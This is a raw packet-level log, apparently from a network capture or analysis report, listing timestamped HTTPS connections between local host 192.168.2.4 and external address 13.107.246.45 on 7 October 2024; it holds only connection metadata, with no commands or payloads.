Oct 7, 2024 03:16:00.475948095 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.475954056 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.492778063 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.493189096 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.493205070 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.493650913 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.493658066 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.576250076 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.576308966 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.576364040 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.576688051 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.576688051 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.576711893 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.576725006 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.580559969 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.580595970 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.580652952 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.580866098 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.580877066 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.588397026 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.588835001 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.588849068 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.589272976 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.589277983 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.591893911 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.592343092 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.592351913 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.592973948 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.592978954 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.595859051 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.595911980 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.596012115 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.596084118 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.596100092 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.596108913 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.596113920 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.599056005 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.599080086 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.599165916 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.599371910 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.599389076 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.601783037 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.602143049 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.602149963 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.602530956 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.602535963 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.687691927 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.687741995 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.687799931 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.688493967 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.688512087 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.688522100 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.688528061 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.691577911 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.691736937 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.691802025 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.692857027 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.692909956 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.692992926 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.693569899 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.693569899 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.693608046 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.693635941 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.694287062 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.694307089 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.698517084 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.698604107 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.698705912 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.698821068 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.698839903 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.701638937 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.701719999 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.701771021 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.701937914 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.701944113 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.701966047 CEST	49751	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.701970100 CEST	443	49751	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.705354929 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.705368042 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:00.705470085 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.705815077 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:00.705835104 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.253263950 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.253767014 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.253803015 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.254216909 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.254224062 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.443240881 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.443706036 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.443716049 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.443734884 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.444216013 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.444228888 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.444432020 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.444437981 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.444650888 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.444655895 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.447063923 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.447417021 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.447452068 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.447778940 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.447784901 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.448060036 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.448354959 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.448368073 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.448774099 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.448780060 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.538989067 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.539033890 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.539129972 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.539333105 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.539346933 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.539381981 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.539392948 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.541887045 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.541944981 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.542028904 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.542152882 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.542172909 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.542779922 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.542829037 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.542995930 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.542995930 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.543023109 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.543036938 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.544645071 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.544780970 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.544915915 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.545017958 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.545017958 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.545046091 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.545068979 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.545198917 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.545236111 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.545335054 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.546029091 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.546056986 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.546071053 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.546230078 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.546358109 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.546358109 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.546566963 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.546602964 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.546607018 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.546727896 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.546921968 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.546921968 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.547197104 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.547209024 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.547509909 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.547528028 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.548333883 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.548549891 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.548564911 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.549156904 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.549185038 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.549226999 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.549285889 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.549345970 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.549455881 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.549459934 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.549485922 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:01.549490929 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:01.549499989 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.179974079 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.181310892 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.181310892 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.181319952 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.181332111 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.194559097 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.195492983 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.195519924 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.196006060 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.196012020 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.196341038 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.197109938 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.197129965 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.197520018 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.197530031 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.216501951 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.216816902 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.216847897 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.218422890 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.218430996 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.279305935 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.279361010 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.279529095 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.292541027 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.292566061 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.292651892 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.292659044 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.293553114 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.293683052 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.294150114 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.294414997 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.294431925 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.294471025 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.294478893 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.296314955 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.296355009 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.296971083 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.297108889 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.297252893 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.297708988 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.297708988 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.297739029 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.297761917 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.297847986 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.297858953 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.298049927 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.298062086 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.298095942 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.298099995 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.299855947 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.299884081 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.299906015 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.299918890 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.300110102 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.300110102 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.300136089 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.321542025 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.321604013 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.321793079 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.321793079 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.321793079 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.326617002 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.326653004 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.330507040 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.330507040 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.330537081 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.631834984 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.631846905 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.933509111 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.934052944 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.934071064 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.934515953 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.934524059 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.960725069 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.961085081 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.961111069 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.961503983 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.961509943 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.964770079 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.965105057 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.965121984 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.965478897 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.965492010 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.976397991 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.976720095 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.976742029 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:02.977206945 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:02.977211952 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.035283089 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.035341978 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.035434961 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.035609007 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.035629034 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.035660028 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.035665989 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.038341045 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.038393974 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.038479090 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.038597107 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.038611889 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.063405991 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.063474894 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.063580036 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.063808918 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.063808918 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.063831091 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.063839912 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.066404104 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.066452026 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.066540003 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.066680908 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.066693068 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.067770958 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.067907095 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.072319031 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.072319031 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.072459936 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.072472095 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.074685097 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.074769020 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.074875116 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.075010061 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.075031996 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.082081079 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.082163095 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.082242966 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.082390070 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.082400084 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.082410097 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.082420111 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.084600925 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.084642887 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.087117910 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.087238073 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.087251902 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.224704981 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.227596998 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.227634907 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.228080034 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.228089094 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.336782932 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.336824894 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.336920023 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.337234020 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.337234020 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.337253094 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.337263107 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.339884996 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.339915037 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.340014935 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.340154886 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.340169907 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.710576057 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.710720062 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.711086988 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.711138010 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.711147070 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.711232901 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.711556911 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.711575031 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.711612940 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.711628914 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.726943970 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.727345943 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.727363110 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.727761030 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:03.727766037 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.728240967 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:03.728560925 CEST	49788	443	192.168.2.4	13.107.246.45
